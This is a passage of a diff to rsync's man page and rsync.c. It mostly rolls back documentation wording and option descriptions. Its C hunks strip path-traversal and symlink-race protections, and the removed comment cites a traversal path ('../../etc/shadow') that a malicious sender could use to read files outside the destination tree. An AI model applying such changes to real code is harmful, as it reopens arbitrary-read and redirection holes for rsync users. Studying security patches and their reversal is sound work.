that this line is only output if deletions are in effect, and only\n-      if the negotiated protocol is at least 31 (the default when both sides\n-      are 3.1.0, September 2013, or newer).\n-    - `Number of 4 KiB logical blocks touched` is the number of unique 4 KiB\n-      logical file regions covered by rsync's own write operations. This metric\n-      decouples network payload from the scope of local file modifications.\n-      For example, a small amount of *Literal data* can result in a massive\n-      number of touched blocks if the modifications are highly scattered\n-      across a file, especially when using `--inplace`.\n+      if protocol 31 is being used (the default for rsync 3.1.x).\n     - `Number of regular files transferred` is the count of normal files that\n       were updated via rsync's delta-transfer algorithm, which does not include\n-      directories, symlinks, etc.\n+      dirs, symlinks, etc.  Note that rsync 3.1.0 added the word \"regular\" into\n+      this heading.\n     - `Total file size` is the total sum of all file sizes in the transfer.\n       This does not count any size for directories or special files, but does\n       include the size of symlinks.\n     - `Total transferred file size` is the total sum of all files sizes for\n       just the transferred files.\n-    - `Literal data` is how much unmatched file-update data the sender had to send to\n+    - `Literal data` is how much unmatched file-update data we had to send to\n       the receiver for it to recreate the updated files.\n     - `Matched data` is how much data the receiver got locally when recreating\n       the updated files.\n@@ -3594,12 +3284,11 @@ sign) if you want the local shell to expand it.\n 0.  `--8-bit-output`, `-8`\n \n     This tells rsync to leave all high-bit characters unescaped in the output\n-    (to standard output or standard error)\n     instead of trying to test them to see if they're valid in the current\n     locale and escaping the invalid ones.  All control characters (but never\n     tabs) are always escaped, regardless of this option's setting.\n \n-    The escape idiom that started in 2.6.7 (March 2006) is to output a literal backslash\n+    The escape idiom that started in 2.6.7 is to output a literal backslash\n     (`\\`) and a hash (`#`), followed by exactly 3 octal digits.  For example, a\n     newline would output as \"`\\#012`\".  A literal backslash that is in a\n     filename is not escaped unless it is followed by a hash and 3 digits (0-9).\n@@ -3617,23 +3306,14 @@ sign) if you want the local shell to expand it.\n \n     The default is human-readable level 1.  Each `-h` option increases the\n     level by one.  You can take the level down to 0 (to output numbers as pure\n-    digits) by specifying the `--no-human-readable` (`--no-h`) option.  Progress\n-    rates are an exception: the default and `-h` use level 2, `--no-h` uses\n-    level 0 and `-hh` uses level 3.\n+    digits) by specifying the `--no-human-readable` (`--no-h`) option.\n \n     The unit letters that are appended in levels 2 and 3 are: `K` (kilo), `M`\n-    (mega), `G` (giga), `T` (tera), `P` (peta) or `E` (exa). For example, a\n-    1234567-byte file would output as 1.23M in level-2 (assuming that a\n-    period is your local decimal point). Dynamic precision is applied, so the\n-    three most-significant digits are shown (for example: 3.45M -> 46.7M ->\n-    523M -> 1.24G -> ...).\n-    Additionally an `i` is appended in level-3 to indicate the binary base.\n-    The same file would output as 1.17Mi in level-3.\n-    Counts, such as the number of files, never get a unit suffix: in levels 2\n-    and 3 they are shown as in level 1 (for example: 523,297,101 files to\n-    consider).\n-\n-    Backward compatibility note: versions of rsync prior to 3.1.0 (September 2013) do not\n+    (mega), `G` (giga), `T` (tera), or `P` (peta).  For example, a 1234567-byte\n+    file would output as 1.23M in level-2 (assuming that a period is your local\n+    decimal point).\n+\n+    Backward compatibility note: versions of rsync prior to 3.1.0 do not\n     support human-readable level 1, and they default to level 0.  Thus,\n     specifying one or two `-h` options will behave in a comparable manner in\n     old and new versions as long as you didn't specify a `--no-h` option prior\n@@ -3654,7 +3334,7 @@ sign) if you want the local shell to expand it.\n     also implying that it be enabled.  This enhanced partial-file method puts\n     any partially transferred files into the specified _DIR_ instead of writing\n     the partial file out to the destination file.  On the next transfer, rsync\n-    will use a file found in this directory as data to speed up the resumption of the\n+    will use a file found in this dir as data to speed up the resumption of the\n     transfer and then delete it after it has served its purpose.\n \n     Note that if [`--whole-file`](#opt) is specified (or implied), any\n@@ -3662,7 +3342,7 @@ sign) if you want the local shell to expand it.\n     simply be removed (since rsync is sending files without using rsync's\n     delta-transfer algorithm).\n \n-    Rsync will create the _DIR_ if it is missing, but just the last directory -- not\n+    Rsync will create the _DIR_ if it is missing, but just the last dir -- not\n     the whole path.  This makes it easy to use a relative path (such as\n     \"`--partial-dir=.rsync-partial`\") to have rsync create the\n     partial-directory in the destination file's directory when it is needed,\n@@ -3685,14 +3365,14 @@ sign) if you want the local shell to expand it.\n     1. the auto-added rule may be ineffective at the end of your other rules, or\n     2. you may wish to override rsync's exclude choice.\n \n-    For instance, if you want to make rsync clean-up any left-over partial-directories\n+    For instance, if you want to make rsync clean-up any left-over partial-dirs\n     that may be lying around, you should specify [`--delete-after`](#opt) and\n     add a \"risk\" filter rule, e.g.  `-f 'R .rsync-partial/'`. Avoid using\n     [`--delete-before`](#opt) or [`--delete-during`](#opt) unless you don't\n     need rsync to use any of the left-over partial-dir data during the current\n     run.\n \n-    IMPORTANT: the partial-dir directory should not be writable by other users or it\n+    IMPORTANT: the `--partial-dir` should not be writable by other users or it\n     is a security risk!  E.g. AVOID \"/tmp\"!\n \n     You can also set the partial-dir value the [`RSYNC_PARTIAL_DIR`](#)\n@@ -3713,7 +3393,7 @@ sign) if you want the local shell to expand it.\n     partial file is now updated in-place instead of creating yet another\n     tmp-file copy (so it maxes out at dest + tmp instead of dest + partial +\n     tmp).  This requires both ends of the transfer to be at least version\n-    3.2.0 (June 2020).\n+    3.2.0.\n \n     For the purposes of the daemon-config's \"`refuse options`\" setting,\n     `--partial-dir` does _not_ imply [`--partial`](#opt).  This is so that a\n@@ -3726,12 +3406,12 @@ sign) if you want the local shell to expand it.\n     This option puts the temporary file from each updated file into a holding\n     directory until the end of the transfer, at which time all the files are\n     renamed into place in rapid succession.  This attempts to make the updating\n-    of the files a little closer to atomic.  By default the files are placed into a\n+    of the files a little more atomic.  By default the files are placed into a\n     directory named `.~tmp~` in each file's destination directory, but if\n     you've specified the [`--partial-dir`](#opt) option, that directory will be\n     used instead.  See the comments in the [`--partial-dir`](#opt) section for\n     a discussion of how this `.~tmp~` dir will be excluded from the transfer,\n-    and what you can do if you want rsync to cleanup old `.~tmp~` directories that\n+    and what you can do if you want rsync to cleanup old `.~tmp~` dirs that\n     might be lying around.  Conflicts with [`--inplace`](#opt) and\n     [`--append`](#opt).\n \n@@ -3749,38 +3429,10 @@ sign) if you want the local shell to expand it.\n     2. there are no mount points in the hierarchy (since the delayed updates\n        will fail if they can't be renamed into place).\n \n-    See also the \"atomic-rsync\" python script in the \"support\" subdirectory for an\n-    update algorithm that is even closer to atomic (it uses [`--link-dest`](#opt)\n+    See also the \"atomic-rsync\" python script in the \"support\" subdir for an\n+    update algorithm that is even more atomic (it uses [`--link-dest`](#opt)\n     and a parallel hierarchy of files).\n \n-0.  `--delay-symlinks`\n-\n-    This option tells the receiving rsync to hold back the creation of new and\n-    changed symlinks until every other file in the transfer has been put into\n-    place, including the renames done by [`--delay-updates`](#opt).  Without\n-    it, a symlink is created as soon as rsync reaches it in the file list, so\n-    for the rest of the transfer it can point at a file that hasn't arrived\n-    yet.\n-\n-    This narrows the window in which the destination is inconsistent; it does\n-    not make the update atomic.  A transfer that is interrupted before the end\n-    leaves new symlinks missing and changed symlinks pointing at their old\n-    targets.\n-\n-    If a symlink is moved to a new target and the old target is deleted, also\n-    use [`--delete-delay`](#opt) or [`--delete-after`](#opt), since\n-    [`--delete-before`](#opt) and the default [`--delete-during`](#opt) can\n-    remove the old target while the old symlink still points at it.\n-\n-    This option implies [`--no-inc-recursive`](#opt) since it needs the full\n-    file list in memory in order to be able to iterate over it at the end.\n-\n-    Conflicts with [`--remove-source-files`](#opt), [`--hard-links`](#opt),\n-    [`--compare-dest`](#opt), [`--copy-dest`](#opt), and [`--link-dest`](#opt).\n-    This option is incompatible with rsync versions prior to 2.6.4 (March\n-    2005), and when the receiving side is remote, the remote rsync must also\n-    support this option.\n-\n 0.  `--prune-empty-dirs`, `-m`\n \n     This option tells the receiving rsync to get rid of empty directories from\n@@ -3827,17 +3479,13 @@ sign) if you want the local shell to expand it.\n     While rsync is transferring a regular file, it updates a progress line that\n     looks like this:\n \n-    >     782,448B  63%    113KB/s    0:00:04\n+    >     782448  63%  110.64kB/s    0:00:04\n \n-    In this example, the receiver has reconstructed 782,448 bytes or 63% of the\n-    sender's file, which is being reconstructed at a rate of 113 kilobytes\n+    In this example, the receiver has reconstructed 782448 bytes or 63% of the\n+    sender's file, which is being reconstructed at a rate of 110.64 kilobytes\n     per second, and the transfer will finish in 4 seconds if the current rate\n     is maintained until the end.\n \n-    Progress rates are scaled in decimal units by default.  `--no-h` keeps the\n-    rate in bytes per second, while `-hh` uses binary units such as `KiB/s` and\n-    `MiB/s`.\n-\n     These statistics can be misleading if rsync's delta-transfer algorithm is\n     in use.  For example, if the sender's file consists of the basis file\n     followed by additional data, the reported rate will probably drop\n@@ -3848,11 +3496,11 @@ sign) if you want the local shell to expand it.\n     When the file transfer finishes, rsync replaces the progress line with a\n     summary line that looks like this:\n \n-    >     1,238,099B 100%    150KB/s    0:00:08  (xfr#5, to-chk=169/396)\n+    >     1,238,099 100%  146.38kB/s    0:00:08  (xfr#5, to-chk=169/396)\n \n     In this example, the file was 1,238,099 bytes long in total, the average\n-    rate of transfer for the whole file was 150 kilobytes per second over the\n-    8 seconds that it took to complete, it was the 5th transfer of a\n+    rate of transfer for the whole file was 146.38 kilobytes per second over\n+    the 8 seconds that it took to complete, it was the 5th transfer of a\n     regular file during the current rsync session, and there are 169 more files\n     for the receiver to check (to see if they are up-to-date or not) remaining\n     out of the 396 total files in the file-list.\n@@ -3892,7 +3540,7 @@ sign) if you want the local shell to expand it.\n     don't know which of the 3 rsync processes is the client process, it's OK to\n     signal all of them (since the non-client processes ignore the signal).\n \n-    CAUTION: sending SIGVTALRM to an older rsync (pre-3.2.0, June 2020) will kill it.\n+    CAUTION: sending SIGVTALRM to an older rsync (pre-3.2.0) will kill it.\n \n 0.  `--password-file=FILE`\n \n@@ -3916,22 +3564,22 @@ sign) if you want the local shell to expand it.\n     secret that can be used to mount an encrypted filesystem (which you should\n     unmount in the the \"post-xfer exec\" script).\n \n-    The daemon must be at least version 3.2.1 (June 2020).\n+    The daemon must be at least version 3.2.1.\n \n 0.  `--list-only`\n \n     This option will cause the source files to be listed instead of\n-    transferred.  This option is inferred if there is a single source argument and\n+    transferred.  This option is inferred if there is a single source arg and\n     no destination specified, so its main uses are:\n \n-    1. to turn a copy command that includes a destination argument into a\n+    1. to turn a copy command that includes a destination arg into a\n        file-listing command, or\n-    2. to be able to specify more than one source argument.  Note: be sure to\n+    2. to be able to specify more than one source arg.  Note: be sure to\n        include the destination.\n \n-    CAUTION: keep in mind that a source argument with a wild-card is expanded by the\n-    shell into multiple arguments, so it is never safe to try to specify a single\n-    wild-card argument to try to infer this option. A safe example is:\n+    CAUTION: keep in mind that a source arg with a wild-card is expanded by the\n+    shell into multiple args, so it is never safe to try to specify a single\n+    wild-card arg to try to infer this option. A safe example is:\n \n     >     rsync -av --list-only foo* dest/\n \n@@ -3940,7 +3588,7 @@ sign) if you want the local shell to expand it.\n     >     drwxrwxr-x          4,096 2022/09/30 12:53:11 support\n     >     -rw-rw-r--             80 2005/01/11 10:37:37 support/Makefile\n \n-    The only option that affects this output style is the\n+    The only option that affects this output style is (as of 3.1.0) the\n     [`--human-readable`](#opt) (`-h`) option.  The default is to output sizes\n     as byte counts with digit separators (in a 14-character-width column).\n     Specifying at least one `-h` option makes the sizes output with unit\n@@ -3948,10 +3596,9 @@ sign) if you want the local shell to expand it.\n     (and an 11-character-width column) use `--no-h`.\n \n     Compatibility note: when requesting a remote listing of files from an rsync\n-    that is version 2.6.3 or older (i.e., pre-2005),\n-    you may encounter an error if you ask for a\n+    that is version 2.6.3 or older, you may encounter an error if you ask for a\n     non-recursive listing.  This is because a file listing implies the\n-    [`--dirs`](#opt) option without [`--recursive`](#opt), and older rsyncs don't\n+    [`--dirs`](#opt) option w/o [`--recursive`](#opt), and older rsyncs don't\n     have that option.  To avoid this problem, either specify the `--no-dirs`\n     option (if you don't need to expand a directory's content), or turn on\n     recursion and exclude the content of subdirectories: `-r --exclude='/*/*'`.\n@@ -4037,9 +3684,9 @@ sign) if you want the local shell to expand it.\n     also the [`--only-write-batch`](#opt) option.\n \n     This option overrides the negotiated checksum & compress lists and always\n-    negotiates a choice based on old-school md5/md4/zlib choices.  This means\n-    batch mode is not compatible with newer compression choices such as zstd or\n-    lz4.\n+    negotiates a choice based on old-school md5/md4/zlib choices.  If you want\n+    a more modern choice, use the [`--checksum-choice`](#opt) (`--cc`) and/or\n+    [`--compress-choice`](#opt) (`--zc`) options.\n \n 0.  `--only-write-batch=FILE`\n \n@@ -4128,50 +3775,13 @@ sign) if you want the local shell to expand it.\n \n     Set the checksum seed to the integer NUM.  This 4 byte checksum seed is\n     included in each block and MD4 file checksum calculation (the more modern\n-    file checksums don't use a seed).  By default the checksum seed is\n+    MD5 file checksums don't use a seed).  By default the checksum seed is\n     generated by the server and defaults to the current **time**().  This\n     option is used to set a specific checksum seed, which is useful for\n     applications that want repeatable block checksums, or in the case where the\n     user wants a more random checksum seed.  Setting NUM to 0 causes rsync to\n     use the default of **time**() for checksum seed.\n \n-0.  `--nice=SETTINGS`\n-\n-    Adjust the CPU and I/O scheduling priority of the local process, the remote\n-    process or both.  SETTINGS is a comma-separated list.  Each setting is\n-    `TARGET`, `PRIORITY` or `TARGET:PRIORITY`.  `TARGET` is `local`, `remote` or\n-    `all`.  Omitting `TARGET` applies the priority to both processes.  A\n-    target-only setting uses `19/idle`.  Target names and I/O values are\n-    case-insensitive.\n-\n-    `PRIORITY` is a CPU nice value from -20 to 19, an I/O value or both\n-    separated by `/`.  I/O values are `none`, `idle`, `rt_0` through `rt_7` and\n-    `be_0` through `be_7`.  `none` restores the kernel-derived I/O priority.\n-    Higher nice values and higher `rt` or `be` suffixes mean lower priority.\n-    Raising priority may require additional privilege.\n-\n-    A setting that specifies only CPU or I/O priority leaves the other component\n-    unchanged.  For example,\n-    `--nice=remote:5 --nice=remote:idle` requests remote CPU priority 5 and\n-    remote idle I/O priority.  Later settings replace earlier values for the\n-    same component.  `--no-nice` clears all earlier settings.\n-\n-    Examples:\n-\n-        --nice=19/idle\n-        --nice=local:10,remote:idle\n-        --nice=local:19/be_7,remote:5\n-\n-    The remote rsync must support this option before a remote setting can be\n-    used.  Daemon clients may request only CPU nice 19, idle I/O priority or\n-    both.  A daemon administrator can also refuse the option with\n-    `refuse options = nice`.  When starting a daemon, the local setting is\n-    applied before it accepts client settings.  A standalone listener passes\n-    that priority to its workers.  A daemon's remote setting has no meaning.\n-\n-    If a priority change is unsupported or fails, rsync warns and continues the\n-    transfer.\n-\n ## DAEMON OPTIONS\n \n The options allowed when starting an rsync daemon are as follows:\n@@ -4320,9 +3930,9 @@ are transferred, ignoring any deletion side-effects.  Filter rules mainly\n affect the contents of directories that rsync is \"recursing\" into, but they can\n also affect a top-level item in the transfer that was specified as a argument.\n \n-The default for any unmatched file/directory is for it to be included in the\n-transfer, which puts the file/directory into the sender's file list.  The use of an\n-exclude rule causes one or more matching files/directories to be left out of the\n+The default for any unmatched file/dir is for it to be included in the\n+transfer, which puts the file/dir into the sender's file list.  The use of an\n+exclude rule causes one or more matching files/dirs to be left out of the\n sender's file list.  An include rule can be used to limit the effect of an\n exclude rule that is matching too many files.\n \n@@ -4386,7 +3996,7 @@ option (though the 2 commands behave differently if deletions are enabled):\n \n The following command does not need an include of the \"x\" directory because it\n is not a part of the transfer (note the trailing slash).  Running this command\n-would copy just \"`/tmp/x/file.txt`\" because the \"y\" and \"z\" directories get excluded:\n+would copy just \"`/tmp/x/file.txt`\" because the \"y\" and \"z\" dirs get excluded:\n \n >     rsync -ai -f'+ file.txt' -f'- *' x/ host:/tmp/x/\n \n@@ -4471,7 +4081,7 @@ Here are the available rule prefixes:\n 0.  `risk, 'R'` files that match the pattern are not protected. Equivalent to a\n     receiver-only include, so `-f'R foo'` could also be specified as `-f'+r\n     foo'`.\n-0.  `clear, '!'` clears the current include/exclude list (takes no argument)\n+0.  `clear, '!'` clears the current include/exclude list (takes no arg)\n \n When rules are being read from a file (using merge or dir-merge), empty lines\n are ignored, as are whole-line comments that start with a '`#`' (filename rules\n@@ -4536,9 +4146,9 @@ Here are some examples of exclude/include matching:\n - Option `-f'- /foo'` would exclude a file (or directory) named foo in the\n   transfer-root directory\n - Option `-f'- foo/'` would exclude any directory named foo\n-- Option `-f'- foo/*/bar'` would exclude any file/directory named bar which is at two\n+- Option `-f'- foo/*/bar'` would exclude any file/dir named bar which is at two\n   levels below a directory named foo (if foo is in the transfer)\n-- Option `-f'- /foo/**/bar'` would exclude any file/directory named bar that was two\n+- Option `-f'- /foo/**/bar'` would exclude any file/dir named bar that was two\n   or more levels below a top-level directory named foo (note that /foo/bar is\n   **not** excluded by this)\n - Options `-f'+ */' -f'+ *.c' -f'- *'` would include all directories and .c\n@@ -4555,12 +4165,12 @@ The following modifiers are accepted after an include (+) or exclude (-) rule:\n   absolute pathname of the current item.  For example, `-f'-/ /etc/passwd'`\n   would exclude the passwd file any time the transfer was sending files from\n   the \"/etc\" directory, and \"-/ subdir/foo\" would always exclude \"foo\" when it\n-  is in a directory named \"subdir\", even if \"foo\" is at the root of the current\n+  is in a dir named \"subdir\", even if \"foo\" is at the root of the current\n   transfer.\n - A `!` specifies that the include/exclude should take effect if the pattern\n   fails to match.  For instance, `-f'-! */'` would exclude all non-directories.\n - A `C` is used to indicate that all the global CVS-exclude rules should be\n-  inserted as excludes in place of the \"-C\".  No argument should follow.\n+  inserted as excludes in place of the \"-C\".  No arg should follow.\n - An `s` is used to indicate that the rule applies to the sending side.  When a\n   rule affects the sending side, it affects what files are put into the\n   sender's file list.  The default is for a rule to affect both sides unless\n@@ -4578,7 +4188,7 @@ The following modifiers are accepted after an include (+) or exclude (-) rule:\n   directory that was removed on the source from being deleted on the\n   destination.\n - An `x` indicates that a rule affects xattr names in xattr copy/delete\n-  operations (and is thus ignored when matching file/directory names).  If no\n+  operations (and is thus ignored when matching file/dir names).  If no\n   xattr-matching rules are specified, a default xattr filtering rule is used\n   (see the [`--xattrs`](#opt) option).\n \n@@ -4666,7 +4276,7 @@ global anchoring rules (i.e. a leading slash matches at the root of the\n transfer).\n \n If a per-directory merge-file is specified with a path that is a parent\n-directory of the first transfer directory, rsync will scan all the parent directories\n+directory of the first transfer directory, rsync will scan all the parent dirs\n from that starting point to the transfer directory for the indicated\n per-directory file.  For instance, here is a common filter (see [`-F`](#opt)):\n \n@@ -4686,7 +4296,7 @@ Some examples of this pre-scanning for per-directory files:\n \n The first two commands above will look for \".rsync-filter\" in \"/\" and \"/src\"\n before the normal scan begins looking for the file in \"/src/path\" and its\n-subdirectories.  The last command avoids the parent-directory scan and only looks for\n+subdirectories.  The last command avoids the parent-dir scan and only looks for\n the \".rsync-filter\" files in each directory that is a part of the transfer.\n \n If you want to include the contents of a \".cvsignore\" in your patterns, you\n@@ -4709,7 +4319,7 @@ priority than your command-line rules).  For example:\n \n Both of the above rsync commands are identical.  Each one will merge all the\n per-directory .cvsignore rules in the middle of the list rather than at the\n-end.  This allows their directory-specific rules to supersede the rules that follow\n+end.  This allows their dir-specific rules to supersede the rules that follow\n the :C instead of being subservient to all your rules.  To affect the other CVS\n exclude rules (i.e. the default list of exclusions, the contents of\n $HOME/.cvsignore, and the value of $CVSIGNORE) you should omit the `-C`\n@@ -4881,7 +4491,7 @@ stored in the batch file.\n \n For your convenience, a script file is also created when the write-batch option\n is used: it will be named the same as the batch file with \".sh\" appended.  This\n-script file contains a command line suitable for updating a destination tree\n+script file contains a command-line suitable for updating a destination tree\n using the associated batch file.  It can be executed using a Bourne (or\n Bourne-like) shell, optionally passing in an alternate destination tree\n pathname which is then used instead of the original destination path.  This is\n@@ -4935,8 +4545,8 @@ used to generate the batch file.  Rsync will die with an error if the protocol\n version in the batch file is too new for the batch-reading rsync to handle.\n See also the [`--protocol`](#opt) option for a way to have the creating rsync\n generate a batch file that an older rsync can understand.  (Note that batch\n-files changed format in version 2.6.3 (September 2004), so mixing versions\n-older than that with newer versions will not work.)\n+files changed format in version 2.6.3, so mixing versions older than that with\n+newer versions will not work.)\n \n When reading a batch file, rsync will force the value of certain options to\n match the data in the batch file if you didn't set them to the same as the\n@@ -4953,6 +4563,9 @@ change in what gets deleted by [`--delete`](#opt) is desired.  A normal user\n can ignore this detail and just use the shell script as an easy way to run the\n appropriate [`--read-batch`](#opt) command for the batched data.\n \n+The original batch mode in rsync was based on \"rsync+\", but the latest\n+version uses a new implementation.\n+\n ## SYMBOLIC LINKS\n \n Three basic behaviors are possible when rsync encounters a symbolic\n@@ -5001,7 +4614,7 @@ first line that is a complete subset of your options:\n For the effect of [`--munge-links`](#opt), see the discussion in that option's\n section.\n \n-Note that the [`--keep-dirlinks`](#opt) option does not affect symlinks in the\n+Note that the [`--keep-dirlinks`](#opt) option does not effect symlinks in the\n transfer but instead affects how rsync treats a symlink to a directory that\n already exists on the receiving side.  See that option's section for a warning.\n \n@@ -5033,20 +4646,18 @@ file is included or excluded.\n - **0** - Success\n - **1** - Syntax or usage error\n - **2** - Protocol incompatibility\n-- **3** - Errors selecting input/output files, directories\n+- **3** - Errors selecting input/output files, dirs\n - **4** - Requested action not supported. Either:\n   - an attempt was made to manipulate 64-bit files on a platform that cannot support them\n   - an option was specified that is supported by the client and not by the server\n - **5** - Error starting client-server protocol\n+- **6** - Daemon unable to append to log-file\n - **10** - Error in socket I/O\n - **11** - Error in file I/O\n - **12** - Error in rsync protocol data stream\n - **13** - Errors with program diagnostics\n - **14** - Error in IPC code\n-- **15** - Sibling process crashed (e.g. core dumped).\n-- **16** - Sibling process was killed by a signal.\n-- **19** - Received SIGUSR1.\n-- **20** - Received SIGINT, SIGTERM, or SIGHUP.\n+- **20** - Received SIGUSR1 or SIGINT\n - **21** - Some error returned by **waitpid()**\n - **22** - Error allocating core memory buffers\n - **23** - Partial transfer due to error\n@@ -5065,7 +4676,7 @@ file is included or excluded.\n 0.  `RSYNC_ICONV`\n \n     Specify a default [`--iconv`](#opt) setting using this environment\n-    variable.\n+    variable. First supported in 3.0.0.\n \n 0.  `RSYNC_OLD_ARGS`\n \n@@ -5078,7 +4689,7 @@ file is included or excluded.\n     This variable is ignored if [`--old-args`](#opt), `--no-old-args`, or\n     [`--secluded-args`](#opt) is specified on the command line.\n \n-    First supported in 3.2.4 (April 2022).\n+    First supported in 3.2.4.\n \n 0.  `RSYNC_PROTECT_ARGS`\n \n@@ -5089,7 +4700,7 @@ file is included or excluded.\n     This variable is ignored if [`--secluded-args`](#opt), `--no-secluded-args`,\n     or [`--old-args`](#opt) is specified on the command line.\n \n-    Starting in 3.2.4 (April 2022), this variable is ignored if\n+    First supported in 3.1.0.  Starting in 3.2.4, this variable is ignored if\n     [`RSYNC_OLD_ARGS`](#) is set to a non-zero value.\n \n 0.  `RSYNC_RSH`\n@@ -5229,7 +4840,5 @@ David Bell.  I've probably missed some people, my apologies if I have.\n Rsync was originally written by Andrew Tridgell and Paul Mackerras.  Many\n people from around the world have helped to maintain and improve it.\n \n-Special thanks go to Wayne Davison, who maintained rsync from 2004 to 2024.\n-\n Mailing lists for support and development are available at\n <https://lists.samba.org/>.\ndiff --git a/rsync.c b/rsync.c\nindex 19a371d..b130aba 100644\n--- a/rsync.c\n+++ b/rsync.c\n@@ -37,7 +37,6 @@ extern int omit_dir_times;\n extern int omit_link_times;\n extern int am_root;\n extern int am_server;\n-extern int operator_path_resolve;\n extern int am_daemon;\n extern int am_sender;\n extern int am_receiver;\n@@ -409,21 +408,7 @@ int read_ndx_and_attrs(int f_in, int f_out, int *iflag_ptr, uchar *type_ptr, cha\n \t\tif ((len = read_vstring(f_in, buf, MAXPATHLEN)) < 0)\n \t\t\texit_cleanup(RERR_PROTOCOL);\n \n-\t\t/* For a basis type (FNAMECMP_FUZZY and the alt-dest FNAMECMP_FUZZY+N)\n-\t\t * the xname is a peer-supplied leaf name that the receiver joins to\n-\t\t * an operator-chosen basedir (--link-dest / --compare-dest /\n-\t\t * --copy-dest, or the fuzzy dir) and opens as the delta basis.  It\n-\t\t * must never contain a \"..\" (or leading \"/\") that escapes that dir:\n-\t\t * a malicious sender could otherwise walk the receiver's filesystem\n-\t\t * -- e.g. --link-dest=/backup with an xname of \"../../etc/shadow\" --\n-\t\t * and read an out-of-tree file as the basis (client-side\n-\t\t * arbitrary-read / FIFO-hang).  Sanitize it always, not only in the\n-\t\t * daemon (sanitize_paths) case: the operator basedir may legitimately\n-\t\t * be relative (#915), but the wire-supplied leaf never needs \"..\".\n-\t\t * Only the basis types use xname as a path; other ITEM_XNAME_FOLLOWS\n-\t\t * uses (the hard-link \"=> target\" display name, which is often empty)\n-\t\t * are not paths and must be left byte-for-byte. */\n-\t\tif (fnamecmp_type >= FNAMECMP_FUZZY) {\n+\t\tif (sanitize_paths) {\n \t\t\tsanitize_path(buf, buf, \"\", 0, SP_DEFAULT);\n \t\t\tlen = strlen(buf);\n \t\t}\n@@ -509,29 +494,11 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \tint change_uid, change_gid;\n \tmode_t new_mode = file->mode;\n \tint inherit;\n-\tint dfd = -1;            /* held dir fd for the entry's own dir, or -1 */\n-\tconst char *leaf = NULL; /* leaf of fname relative to dfd */\n-\tint op_leaf_fd = -1;     /* O_NOFOLLOW fd pinning a cross-tree operator leaf */\n-\tint op_pin = 0;          /* drive chmod/chown off op_leaf_fd for a cross-tree leaf */\n-\tint op_refuse = 0;       /* pin open hit the symlink-race signal: refuse, don't redirect */\n-#if defined SUPPORT_XATTRS || defined SUPPORT_ACLS\n-\tint held_fd = -1; /* held O_NOFOLLOW fd for fd-based xattr/ACL ops, or -1 */\n-\tint xattr_refuse = 0; /* no confined fd for a slashed path: skip path-based xattr/ACL */\n-#endif\n \n \tif (!sxp) {\n-\t\tint sret, sdfd;\n \t\tif (dry_run)\n \t\t\treturn 1;\n-\t\t/* Stat through the entry's held dir fd (like gen_entry_stat) so we\n-\t\t * don't re-walk the full path here; link_stat_at folds in no\n-\t\t * fake-super xattr, so only when am_root >= 0. */\n-\t\tif (am_root >= 0 && (sdfd = held_dfd_for(fname, file)) >= 0) {\n-\t\t\tconst char *sl = strrchr(fname, '/');\n-\t\t\tsret = link_stat_at(sdfd, sl ? sl + 1 : fname, &sx2.st, 0);\n-\t\t} else\n-\t\t\tsret = link_stat(fname, &sx2.st, 0);\n-\t\tif (sret < 0) {\n+\t\tif (link_stat(fname, &sx2.st, 0) < 0) {\n \t\t\trsyserr(FERROR_XFER, errno, \"stat %s failed\",\n \t\t\t\tfull_fname(fname));\n \t\t\treturn 0;\n@@ -542,102 +509,6 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t} else\n \t\tinherit = !preserve_perms && file->flags & FLAG_DIR_CREATED;\n \n-\t/* Resolve the entry's directory once; the chown/chmod/times ops below\n-\t * issue single-component *at() calls against it instead of re-resolving\n-\t * the full path each time.  -1 => fall back to the full-path wrappers\n-\t * (cross-tree path such as --temp-dir/--backup-dir, or gated off). */\n-\tdfd = held_dfd_for(fname, file);\n-\tif (dfd >= 0) {\n-\t\tconst char *slash = strrchr(fname, '/');\n-\t\tleaf = slash ? slash + 1 : fname;\n-\t}\n-\n-#if defined SUPPORT_XATTRS || defined SUPPORT_ACLS\n-\t/* Pin a regular-file/dir/fifo entry via the held dir fd with O_NOFOLLOW so\n-\t * the xattr/ACL ops below act on the held inode (sys_f*xattr/fsetxattr),\n-\t * not a re-resolved path a parent-symlink race could redirect.  O_NONBLOCK\n-\t * stops a raced FIFO blocking the open; O_NOFOLLOW refuses a raced symlink\n-\t * leaf.  A symlink/socket/device leaf or no held dfd leaves held_fd == -1,\n-\t * and the ACL code then uses setxattrat(AT_SYMLINK_NOFOLLOW) or falls back.\n-\t * Under --fake-super the ACL store stays an l-variant xattr and ignores it. */\n-\tif (dfd >= 0\n-\t && (S_ISREG(sxp->st.st_mode) || S_ISDIR(sxp->st.st_mode) || S_ISFIFO(sxp->st.st_mode))\n-\t && (preserve_xattrs || am_root < 0\n-# ifdef SUPPORT_ACLS\n-\t     || (preserve_acls && am_root >= 0)\n-# endif\n-\t    ))\n-\t\theld_fd = openat(dfd, leaf, O_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_NOCTTY | O_CLOEXEC);\n-\n-\t/* If the held-fd pin above missed (no cached dir fd -- a path deeper than the\n-\t * dirfd cache, or a raced leaf) but we are a confined receiver on a\n-\t * non-operator path, re-pin the leaf through the secure resolver so the\n-\t * xattr/ACL ops below drive fsetxattr off a confined fd -- NOT a raw path-based\n-\t * lsetxattr, which re-resolves the parent and lets a flipped dest/sub symlink\n-\t * land the xattr OUTSIDE the tree (copy-xattrs-symlink-race).  If the secure\n-\t * re-pin also fails (a genuinely raced parent/leaf symlink), held_fd stays -1\n-\t * and xattr_refuse skips the path-based ops rather than redirecting them.\n-\t * (chmod/chown/times stay safe via their secure path wrappers; operator paths\n-\t * use op_pin/op_refuse below.) */\n-\tif (held_fd < 0 && !operator_path_resolve && secure_relpath_active()\n-\t && (S_ISREG(sxp->st.st_mode) || S_ISDIR(sxp->st.st_mode) || S_ISFIFO(sxp->st.st_mode))\n-\t && (preserve_xattrs || am_root < 0\n-# ifdef SUPPORT_ACLS\n-\t     || (preserve_acls && am_root >= 0)\n-# endif\n-\t    )) {\n-\t\tint odir = 0;\n-# ifdef O_DIRECTORY\n-\t\tif (S_ISDIR(sxp->st.st_mode))\n-\t\t\todir = O_DIRECTORY;\n-# endif\n-\t\theld_fd = secure_relative_open(NULL, fname,\n-\t\t\tO_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_NOCTTY | O_CLOEXEC | odir, 0);\n-\t\tif (held_fd < 0 && strchr(fname, '/'))\n-\t\t\txattr_refuse = 1;\n-\t}\n-#endif\n-\n-\t/* A cross-tree operator path (an absolute 